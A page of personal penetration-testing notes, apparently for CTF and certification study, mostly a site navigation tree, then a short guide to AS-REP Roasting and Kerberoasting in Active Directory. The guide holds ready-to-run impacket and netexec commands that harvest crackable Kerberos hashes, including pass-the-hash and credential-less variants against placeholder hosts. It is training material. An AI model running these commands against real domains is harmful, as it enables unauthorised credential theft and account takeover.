Pentest Notes
  • 🏠/home/x3m1Sec/.pt-notes
  • 📝Pentest Notes
    • 🔍Information Gathering
    • 📜Protocols and Services
      • DNS Port (53)
      • FTP Port (21)
      • IMAP Ports (143,993)
      • IPMI Port (623)
      • Kerberos Port (88)
      • MSSQL Port (1433)
      • MySQL Port (3306)
      • NFS Ports (111,2049)
      • NetBIOS Ports (137,138,139)
      • Oracle TNS Port (1521)
      • POP3 Port (110)
      • PostgreSQL Port (5432)
      • RDP Port (3389)
      • SMB Ports (139,445)
      • SMTP Port (25)
      • SNMP Ports (161,162)
      • Java RMI Port (1099)
      • LDAP Ports (389,636)
      • Apache Tomcat Ports (8080,8180)
      • Port 123 - NTP
      • RPCBind Ports (111,32771)
      • Email Services
      • Nmap Commands for Port Discovery
    • 🕸️Web Applications
      • Web Attacks
        • Cross Site Scripting (XSS)
        • SQL Injection (SQLi)
        • File Upload Vulnerabilities
        • Insecure Direct Object References (IDOR)
        • OS Command Injection
        • Local File Inclusion (LFI)
        • Remote File Inclusion (RFI)
        • XML External Entities (XXE)
        • HTTP Verb Tampering
        • Sub-domain Enumeration
      • Web Technologies
        • Tomcat
        • CGI Applications
        • WordPress
        • SAP Netweaver
        • Joomla
        • Drupal
        • Gitlab
        • Jenkins
        • Microsoft IIS
        • osTicket
        • PRTG Network Monitor
        • Splunk
      • Fuzzing
    • 🪟Active Directory Pentesting
      • 🔍Initial Enumeration
        • 👤Enumerating Users
      • 🛠️Abusing ACLs/ACEs
      • 🏛️Active Directory Certificate Services (ADCS)
      • 🎭Attacking Kerberos
      • 🐶Bloodhound
      • 🧰Tools
        • 🩸BloodyAD
        • 📦Impacket
        • 🦁Kerbrute
        • 📚LDAPSearch
        • 🧠PowerView.py
    • 🐧Linux Privilege Escalation
      • Linux PrivEsc Summary
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      • Enumerating Attack Vectors
      • Privileged Groups
      • Environment Variables Abuse
      • Capabilities Abuse
      • Programs, Jobs and Services
      • Miscellaneous Techniques
      • Recent CVEs
    • 🪟Windows Privilege Escalation
      • PriveEsc checklist
      • Enumerating Attack Vectors
      • Excessive User Rights Abuse
      • Built-in Groups Abuse
      • File System ACLs
      • Services Hijacking
      • User Account Control (UAC) Bypass
      • Living off the Land
    • 🐛Bug Bounty Hunting
      • Bug Bounty Tools
    • 👾Utilities, Scripts and Payloads
      • Shells and Payloads
      • Metasploit Framework
      • File Transfers
      • Pivoting, Tunneling, Port Forwarding
      • Password Attacks
      • Spawn TTY Shells
  • 🎮CTFs
    • 🟩Hack The Box
      • Linux
        • Easy Level
          • Busqueda
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        • Hard Level
    • 🔴TryHackMe
  • 🎓Road to certification
    • eJPTv2
      • My review
    • CPTS
      • Enumeration
        • Enum Cheklist
        • Initial Enumeration
      • Nmap
        • Nmap Full Flag
        • Protocol Scan
        • Scan-network-with-nmap
      • Attacking Common Applications
        • 1.Content Management Systems (CMS)
          • 1.-Wordpress-discovery-and-enumeration
          • 2.-Attacking-wordpress
          • 3.-Joomla-discovery-and-enumeration
          • 4.-Attacking-joomla
          • 5.-Drupal-discovery-and-enumeration
          • 6.-Attacking-drupal
        • 2. Servlet Containers and Software Development
          • 10.-Attacking-jenkins
          • 7.-Tomcat-discovery-and-enumeration
          • 8.-Attacking-tomcat
          • Attacking Jenkins - Focused Commands & Key Points
        • 3. Infrastructure and Network Monitoring Tools
          • 11.-Aplunk-discovery-and-enumeration
          • 12.-Attacking-splunk
          • 13.Prtg-network-monitor
        • 4. Customer Service Mgmt & Configuration Management
          • 14.-Osticket
          • 15.Gitlab-discovery-and-enumeration
          • 16.-Attacking-gitlab
        • 5. Common Gateway Interfaces
          • 17.-Attacking-tomcat-cgi
          • 18.-Attacking-cgi-applications-shellshock
        • 6. Thick Client Applications
          • 19.-Attacking-thick-client-applications
          • 20.Exploiting-web-vulnerabilities-in-thick-client-applications
        • 7. Miscellaneous Applications
          • 21.-Coldfusion-discovery-and-enumeration
          • ColdFusion Exploitation Guide
          • 23.-IIS-tilde-enumeration
          • 24.Attacking-ldap
          • 25.-Web-mass-assignment-vulnerabilities
          • 26.Attacking-applications-connecting-to-services
          • 27.Other-notable-applications
        • 8. Closing Out
          • 28.Application-hardening
      • Attacking Common Services
        • 1.Protocol-specific-attacks
        • 2.FTP
        • 3.SMB
        • 4.SQL-databases
        • 5.RDP
        • 6.DNS
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      • Active Directory Enumeration & Attacks
        • 0. AD Pentest
          • Quick Guide To AD Pentesting
          • Active Directory: Full Attack Name
          • Active Directory Advanced Concepts
          • Active Directory Delegation
          • Beyond-Active-Directory
        • 1.Initial Enumeration
          • 1.External Recon and Enumeration Principles
          • 1.initial-enumeration-of-the-domain
          • Active-Directory-Basic-Command
        • 2.Sniffing out a Foothold
          • 3. LLMNR-NBT-NS Poisoning - from Linux
          • 4.LLMNR-NBT-NS Poisoning - from Windows
        • 3.Sighting In, Hunting For A User
          • 5.Password Spraying Overview
          • 6.Enumerating & Retrieving Password Policies
          • 7.Password Spraying - Making a Target User List
        • 4.Spray Responsibly
          • 8. Internal Password Spraying - from Linux
          • 9.Internal Password Spraying - from Windows
        • 5.Deeper Down the Rabbit Hole
          • 10. Enumerating Security Controls
          • 11. Credentialed Enumeration - from Linux
          • 12.Credentialed Enumeration - from Windows
          • 13. Living Off the Land
        • 6.Cooking with Fire
          • 14.Kerberoasting - from Linux
          • 15. Kerberoasting - from Windows
          • Kerberoasting Attack Step by Step Guide
          • Kerberoasting Attack Step by Step Guide
        • 7.An ACE in the Hole
          • 16.Access Control List (ACL) Abuse Primer
          • 17. ACL Enumeration
          • 18. ACL Abuse Tactics
          • 19. DCSync
        • 8.Stacking The Deck
          • 20.Privileged Access
          • 21.Kerberos Double Hop Problem
          • 22.Bleeding Edge Vulnerabilities
          • 23.Miscellaneous Misconfigurations
        • 9.Why So Trusting
          • 24.Domain Trusts Primer
          • 25.Attacking Domain Trusts - Child - Parent Trusts - from Windows
          • 26. Attacking Domain Trusts - Child - Parent Trusts - from Linux
        • 10.Breaking Down Boundaries
          • 27.Attacking Domain Trusts - Cross-Forest Trust Abuse - from Windows
          • 28.Attacking Domain Trusts - Cross-Forest Trust Abuse - from Linux
        • 11.Defensive Considerations
          • 29.Hardening-active-directory
          • 30.Additional AD Auditing Techniques
      • Linux Privilege Escalation
        • Linux-hardening
        • Linux-priv-esc-to-quick-check-the-system
        • 1.Information Gathering
          • 1.Environment-enumeration
          • 2.Linux-services-and-internals-enumeration
          • 3.Credential-hunting
        • 2.Environment-based Privilege Escalation
          • 4.Path-abuse
          • 5.Wildcard-abuse
          • 6.Escaping-restricted-shells
        • 3.Permissions-based Privilege Escalation
          • 10.Capabilities
          • 7.-Special-permissions
          • 8.Sudo-rights-abuse
          • 9.Privileged-groups
        • 4.Service-based Privilege Escalation
          • 11.Vulnerable-services
          • 12.Cron-job-abuse
          • LXC Privilege Escalation Techniques
          • 14.-Docker
          • 15.Kubernetes
          • 16.Logrotate
          • 17.Miscellaneous-techniques
        • 5.Linux Internals-based Privilege Escalation
          • 18.Kernel-exploits
          • 19.Shared-libraries
          • 20.Shared-object-hijacking
          • 21.Python-library-hijacking
        • 6.Recent 0-Days
          • 22.Sudo
          • 23.Polkit
          • 24.Dirty-pipe
          • 25.Netfilter
      • Windows Privilege Escalation
        • Priv-Esc
        • 1.Getting the Lay of the Land
          • 1.Situational-awareness
          • 2.Initial-enumeration
          • 3.Communication-with-processes
        • 2.Windows User Privileges
          • 4.windows-privileges-overview
          • 5.Seimpersonate-and-seassignprimarytoken
          • 6.Sedebugprivilege
          • Exploiting SeTakeOwnershipPrivilege
        • 3.Windows Group Privileges
          • 10.DNSadmins
          • 11.Hyper-v-administrators
          • Key Concepts:
          • Key Concepts:
          • 8.Windows-built-in-groups
          • Exploiting Event Log Readers Group for Security Log Access
        • 4.Attacking the OS
          • 14.User-account-control
          • 15.Weak-permissions
          • 16.Kernel-exploits
          • 17.Vulnerable-services
          • 18.DLL-injection
        • 5.Credential Theft
          • 19.Credential-hunting
          • 20.Other-files
          • 21.Further-credential-theft
        • 6.Restricted Environments
          • 22.-Citrix-breakout
        • 7.Additional Techniques
          • 23.Interacting-with-users
          • 24.Pillaging
          • 25.Miscellaneous-techniques
        • 8.Dealing with End of Life Systems
          • Key Points:
          • 27.windows-server
          • 28.windows-desktop-versions
      • Server-side Attacks
        • Server-side-vulnerabilities
      • Web Attacks
        • 1.-HTTP-verb-tampering
        • 2.-Insecure-direct-object-references-idor
        • 3.-XML-external-entity-xxe-injection
        • Web-attacks-to-the-point
      • Web Service & API Attacks
        • web-service-and-api-attacks
      • Command-injections
      • SQL-injection
      • XSS
        • XSS-based Session Hijacking
      • Broken Authentication
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      • Password-cracking
      • Session Security Guide
      • File-transfer
      • File-upload-attacks
      • Shells and payloads
      • Upgrading-tty-shell
      • Using-the-metasploit-framework
      • File Inclusion
        • 1.File Disclosure
          • 1.Local-file-inclusion-lfi
          • 2.Basic-bypasses
          • 3.PHP-filters
        • 2.Remote Code Execution
          • 4.PHP-wrappers
          • 5.Remote-file-inclusion-rfi
          • 6.LFI-and-file-uploads
          • 7.LOG-poisoning
        • 3.Automation and Prevention
          • 8.Automated-scanning
          • 9.File-inclusion-prevention
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On this page
  • AS-REP Roast Attack
  • Commands
  • Kerberoasting Attack
  • Commands
  • Exception: Kerberoasting Without Credentials
  • Key Points
  • Tools Used
  1. Pentest Notes
  2. Active Directory Pentesting

Attacking Kerberos

This guide covers common attack techniques against Kerberos authentication in Active Directory environments.

AS-REP Roast Attack

If you have a list of valid users, you can perform an AS-REP Roast Attack to obtain a Ticket Granting Ticket (TGT) and then crack its hash to get the password.

This attack queries the Domain Controller (DC) to check if any of the users in your list have the Kerberos flag DONT_REQ_PREAUTH enabled.

The attack can be attempted multiple times as you discover more valid users. From BloodHound, you can identify users with this condition.

Commands

# AS-REP Roast using impacket-GetNPUsers
impacket-GetNPUsers -no-pass -usersfile users.txt domain.htb/ 2>/dev/null

# AS-REP Roast through impacket-GetNPUsers with a while loop
while read username; do impacket-GetNPUsers domain.htb/"$username" -request -no-pass -dc-ip 10.10.10.10 >> hashes.txt; done < users.txt 2>/dev/null

# AS-REP Roast through netexec
netexec ldap 10.10.10.10 -u users.txt -p '' --asreproast hashes.txt

Kerberoasting Attack

If you have valid credentials for a domain user, you can perform a Kerberoasting Attack to obtain a Ticket Granting Service (TGS) from a user that has a servicePrincipalName (SPN) assigned.

The obtained hash can be cracked to retrieve the credentials in plaintext.

Commands

# Kerberoasting Attack through impacket-GetUserSPNs with basic authentication
impacket-GetUserSPNs -dc-ip 10.10.10.10 domain.htb/'user':'password' -request 2>/dev/null

# Kerberoasting Attack through Kerberos authentication (requires TGT ticket in KRB5CCNAME)
impacket-GetUserSPNs -dc-ip 10.10.10.10 -dc-host dc.domain.htb domain.htb/user -k -no-pass -request 2>/dev/null

# Kerberoasting Attack using Pass-the-Hash
impacket-GetUserSPNs -dc-ip 10.10.10.10 domain.htb/user -hashes :<NTLM_HASH> -request 2>/dev/null

# Kerberoasting Attack through netexec
netexec ldap 10.10.10.10 -u 'user' -p 'password' --kerberoasting output.txt

Exception: Kerberoasting Without Credentials

There is an exception to perform the Kerberoasting Attack without having valid credentials.

If you know there is a user that is vulnerable to AS-REP Roast (i.e., the user has the DONT_REQ_PREAUTH flag enabled), you can also perform this attack without valid credentials.

In this case, the user called usuarioASREP is susceptible to an AS-REP Roast, meaning it has the Kerberos DONT_REQ_PREAUTH flag enabled.

Therefore, you can perform a Kerberoasting Attack without having valid domain credentials, but having a user that is susceptible to AS-REP Roast.

impacket-GetUserSPNs -no-preauth 'usuarioASREP' -request -usersfile users.txt domain.htb/ -dc-ip 10.10.10.10 2>/dev/null

Key Points

  • AS-REP Roast targets users with DONT_REQ_PREAUTH flag enabled

  • Kerberoasting targets users with Service Principal Names (SPNs)

  • Both attacks can yield hashes that may be crackable offline

  • BloodHound can help identify vulnerable users

  • Multiple authentication methods are available (credentials, hashes, tickets)

Tools Used

  • impacket-GetNPUsers - For AS-REP Roast attacks

  • impacket-GetUserSPNs - For Kerberoasting attacks

  • netexec - Alternative tool for both attack types

  • BloodHound - For reconnaissance and identifying vulnerable accounts

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Last updated 12 days ago

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